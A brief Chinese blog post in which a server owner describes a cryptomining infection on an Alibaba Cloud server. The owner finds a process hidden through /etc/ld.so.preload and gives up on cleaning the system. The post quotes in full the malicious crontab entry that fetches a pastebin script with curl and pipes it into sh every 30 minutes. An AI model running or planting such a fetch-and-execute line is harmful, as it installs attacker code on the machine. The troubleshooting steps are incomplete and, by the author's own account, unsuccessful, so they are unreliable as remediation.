云服务器 被挖矿 未解决

连接阿里云服务器发现很卡，top 显示不出高占用进程，cpu100%占用。

crontab -l  发现有定时任务：

*/30 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh

地址打开找不到源码，根据网上资料操作：
vim  /etc/ld.so.preload   删除其中内容 后执行ldconfig

再使用 top 可以看到 被隐藏的进程  kworkerds。

kill -9 pid 瞬间流畅。。

然后重启 cpu 继续100%  

然后根据第二个blog 删除文件 

开机病毒没了 一堆错误 redis无法启动 

重装吧。。。。

 

参考：http://www.cnblogs.com/xuey/p/9566094.html#undefined

           https://blog.csdn.net/hgx13467479678/article/details/82347473